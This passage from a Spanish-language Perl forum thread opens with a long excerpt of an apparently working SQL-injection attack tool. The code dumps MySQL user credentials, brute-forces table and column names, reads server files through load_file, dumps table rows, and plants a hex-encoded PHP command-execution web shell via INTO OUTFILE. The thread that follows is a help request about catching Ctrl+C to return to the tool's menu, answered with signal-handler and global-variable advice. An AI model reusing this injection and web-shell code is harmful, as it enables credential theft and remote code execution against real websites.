  602. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  603. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  604. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  605. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  606. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  607. } else {
  608. &reload;
  609. }
  610. }
  611. }
  612. } else {
  613. print "\n[-] mysql.user = ERROR\n";
  614. }
  615. }
  616.  
  617. sub tabfuzz {
  618. my $page = $_[0];
  619. ($pass1,$pass2) = &bypass($_[1]);
  620. $count = "0";
  621. savefile($_[2].".txt","\n");
  622. print "\n";
  623. if ($_[0] =~/(.*)hackman(.*)/g) {
  624. my $start = $1; my $end = $2;
  625. print "\n\n[+] Searching tables.....\n\n";
  626. for my $table(@buscar2) {
  627. chomp $table;
  628. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  629. $injection = $start.$concat.$end.$pass1."from".$pass1.$table.$pass2;
  630. $code = toma($injection);
  631. if ($code =~/ERTOR854/g) {
  632. $count++;
  633. print "[Table Found] : $table\n";
  634. savefile($_[2].".txt","[Table Found] : $table");
  635. }}}
  636. if ($count eq "0") { print "[-] Not found any table\n";
  637. &reload;
  638. }
  639. }
  640.  
  641. sub colfuzz {
  642. my $page = $_[0];
  643. ($pass1,$pass2) = &bypass($_[1]);
  644. $count = "0";
  645. savefile($_[3].".txt","\n");
  646. print "\n";
  647. if ($_[0] =~/(.*)hackman(.*)/) {
  648. my $start = $1; my $end = $2;
  649. print "[+] Searching columns for the table $_[2]...\n\n";
  650. savefile($_[3].".txt","[Table] : $_[2]");
  651. for my $columns(@buscar1) {
  652. chomp $columns;
  653. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  654. $code = toma($start.$concat.$end.$pass1."from".$pass1.$_[2].$pass2);
  655. if ($code =~/ERTOR854/g) {
  656. print "[Column] : $columns\n";
  657. savefile($_[3].".txt","[Column Found] : $columns");
  658. }
  659. }
  660. } else {
  661. print "\n[Example] : $0 http://127.0.0.1/tester/sql.php?id=-1+union+select+hackman,2,3 hackers\n\n"; &copyright;
  662. }
  663. }
  664.  
  665. sub load {
  666. savefile($_[2].".txt","\n");
  667. print "\n";
  668. ($pass1,$pass2) = &bypass($_[1]);
  669. if ($_[0] =~/(.*)hackman(.*)/g) {
  670. print "\n[+] Searching files with load_file...\n\n\n";
  671. my $start = $1; my $end = $2;
  672. for my $file(@files) {
  673. chomp $file;
  674. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  675. my $code = toma($start.$concat.$end.$pass2);
  676. chomp $code;
  677. if ($code=~/k0bra(.*)k0bra/s) {
  678. print "[File Found] : $file\n";
  679. print "\n[Source Start]\n\n";
  680. print $1;
  681. print "\n\n[Source End]\n\n";
  682. savefile($_[2].".txt","[File Found] : $file");
  683. savefile($_[2].".txt","\n[Source Start]\n");
  684. savefile($_[2].".txt","$1");
  685. savefile($_[2].".txt","\n[Source End]\n");
  686. }}}}
  687.  
  688. sub dump {
  689. savefile($_[5].".txt","\n");
  690. print "\n";
  691. my $page = $_[0];
  692. ($pass1,$pass2) = &bypass($_[4]);
  693. if ($page=~/(.*)hackman(.*)/){
  694. my $start = $1;
  695. my $end = $2;
  696. print "[+] Extracting values...\n\n";
  697. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  698. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  699. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  700. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  701. $tota = $1;
  702. print "[+] Table : $_[3]\n";
  703. print "[+] Length of the rows : $tota\n\n";
  704. print "[$_[1]] [$_[2]]\n\n";
  705. savefile($_[5].".txt","[Table] : $_[3]");
  706. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  707. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  708. for my $limit(0..$tota) {
  709. chomp $limit;
  710. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  711. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  712. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  713. print "[$_[1]] : $1   [$_[2]] : $2\n";
  714. } else {
  715. print "\n\n[+] Extracting Finish\n";
  716. &reload;
  717. }
  718. }
  719. } else {
  720. print "[-] Not Found any DATA\n\n";
  721. }}}
  722.  
  723.  
  724. sub into {
  725. print "\n\n[Status] : Injecting a SQLI for create a shell\n\n";
  726. my ($page,$bypass,$dir,$save) = @_;
  727. savefile($save.".txt","\n");
  728. print "\n";
  729. ($pass1,$pass2) = &bypass($bypass);
  730. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  731. if ($path=~/\/(.*)$/) {        
  732. my $path1 = $1;
  733. my $path2 = $path1;
  734. $path2 =~s/$1//;
  735. $dir =~s/$path1//ig;
  736. $shell = $dir."/"."shell.php";
  737. if ($page =~/(.*)hackman(.*)/ig) {
  738. my  ($start,$end) = ($1,$2);
  739. $code = toma
  740.  
  741. ($start."0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d
  742.  
  743. 64275d293b7d3f3e".$end.$pass1."into".$pass1."outfile".$pass1."'".$shell."'".$pass2);
  744. $code1 = toma("http://".$auth."/".$path2."/"."shell.php");
  745. if ($code1=~/Mini Shell By Doddy/ig) {
  746. print "[shell up] : http://".$auth."/".$path2."/"."shell.php"."\a\a";
  747. savefile($save.".txt","[shell up] : http://".$auth."/".$path2."/"."shell.php");
  748. } else {
  749. print "[shell] : Not Found\n";
  750. }
  751. }
  752. }
  753. }
  754.  
  755. sub encode {
  756. my $string = $_[0];
  757. $hex = '0x';
  758. for (split //,$string) {
  759. $hex .= sprintf "%x", ord;
  760. }
  761. return $hex;
  762. }
  763.  
  764. sub decode {
  765. $_[0] =~ s/^0x//;
  766. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  767. return $encode;
  768. }
  769.  
  770. sub bypass {
  771. if ($_[0] eq "/*") { return ("/**/","/**/"); }
  772. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  773. else {return ("+","--");}}
  774.  
  775. sub ascii {
  776. return join ',',unpack "U*",$_[0];
  777. }
  778.  
  779. sub ascii_de {
  780. $_[0] = join q[], map { chr } split q[,],$_[0];
  781. return $_[0];
  782. }
  783.  
  784.  
  785. sub finish {
  786. &copyright;
  787. <STDIN>;
  788. exit(1);
  789. }
  790.  
  791. sub installer {
  792. unless (-d "/logs/webs") {
  793. mkdir("logs/",777);
  794. mkdir("logs/webs/",777);
  795. }
  796. }
  797.  
  798. sub copyright {
  799. print "\n\n\n\n(C) Doddy Hackman 2010\n\n";
  800. }
  801.  
  802. sub toma {
  803. return $nave->get($_[0])->content;
  804. }
  805.  
  806. sub savefile {
  807. open (SAVE,">>logs/webs/".$_[0]);
  808. print SAVE $_[1]."\n";
  809. close SAVE;
  810. }
  811.  
  812. sub finish {
  813. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  814. <STDIN>;
  815. exit(1);
  816. }
  817.  
  818. sub control {
  819. reload(); goto menua;
  820. }
  821.  
  822. # The End ?
  823.  
Coloreado en 0.025 segundos, usando GeSHi 1.0.8.4


El menú en el que quiero tener el filtro de control+C es menu_options(). Lo que quiero es que en cualquiera de las opciones de menu_options() retorne al menú sin problemas cuando se use control+C.

¿ Alguien puede ayudarme ?
Última edición por BigBear el 2011-11-22 20:50 @910, editado 1 vez en total
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Publicidad

Re: Ayuda con control+c

Notapor explorer » 2011-11-22 15:55 @705

Pero, con eso, se ejecutaría la función refrescar(), y volvería al lugar donde se estaba ejecutando (creo, no lo he probado).

Entonces, lo que se debería hacer (tampoco lo sé, no lo he probado), sería hacer un goto al lugar donde quieres que salte la ejecución.

Algo así (no probado):

$SIG{INT} = sub { reload(); goto MENU; }

y luego, enfrente de la línea donde quieres que salte, pones

MENU:
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Ayuda con control+c

Notapor BigBear » 2011-11-22 20:50 @909

Lo mismo, explorer: se pierde la variable $page que es lo importante al cargar el menú, no se me ocurre cómo hacerlo. Pensé en hacer archivo de texto con el último registro de página pero quedaría muy feo a mi simple criterio.

Actualicé el post teniendo en cuenta tu sugerencia en el código.

¿ Me podrías guiar sobre cómo hacerlo ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Ayuda con control+c

Notapor explorer » 2011-11-23 07:12 @341

Pero es que no puedes "saltar" dentro de una subrutina...

Si lo que quieres es que salte a la subrutina menu_options(), se debería poner así:

goto &menu_options;

pero entonces vemos que dentro de esa subrutina lees dos parámetros. En el caso del goto, no recibirías esos parámetros. Deberías tener en cuenta ese caso.

Y en cuanto a que se pierde el valor de $page, es porque es una variable local (está definida en la línea 176, y es local al contexto de la subrutina menu()). Si quieres mantenerla, debería ser una variable global.

Yo haría el programa sin tantas subrutinas, dejando el bucle principal dentro del programa principal. Así, en caso de pulsar Control-C, volvería la ejecución a un punto de ejecución normal, y no dentro de una subrutina. Y para mantener el estado general, usar variables globales.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Ayuda con control+c

Notapor BigBear » 2011-11-23 09:18 @429

¿Me podrías dar un ejemplo de cómo declarar una variable global?

P.D.: tengo otra duda, porque cuando pongo lo siguiente delante del menú, en vez de usar menu: se tilda la aplicación y no avanza más. El código es el siguiente:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. $SIG{INT} = \&menu_options($_[0],$_[1]);
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Ayuda con control+c

Notapor explorer » 2011-11-23 11:19 @513

Te vale con poner

my $page;

al principio del programa, fuera de cualquier subrutina.

Más información en perldoc -f my .
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Ayuda con control+c

Notapor explorer » 2011-11-23 11:24 @517

Doddy escribiste:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. $SIG{INT} = \&menu_options($_[0],$_[1]);
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Debería ser así (no probado):
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. $SIG{INT} = sub { menu_options($_[0],$_[1]) };
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

pero dudo de que funcione.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Ayuda con control+c

Notapor BigBear » 2011-11-23 11:34 @524

Bueno, con esa idea me veré forzado a usar un archivo de texto para el control. Espero que no quede tan feo.
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Ayuda con control+c

Notapor explorer » 2011-11-23 12:14 @552

¿Tampoco te ha servido la otra solución que te dí?

Es que es muy difícil ayudarte, si no te valen nuestras soluciones, y solo valen las tuyas :cry:
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Ayuda con control+c

Notapor BigBear » 2011-11-23 12:23 @557

Voy a reestructurar todo el código en un menú como me dijiste. Cuando lo termine lo publico, así me seguís ayudando.
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Siguiente

Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 28 invitados

cron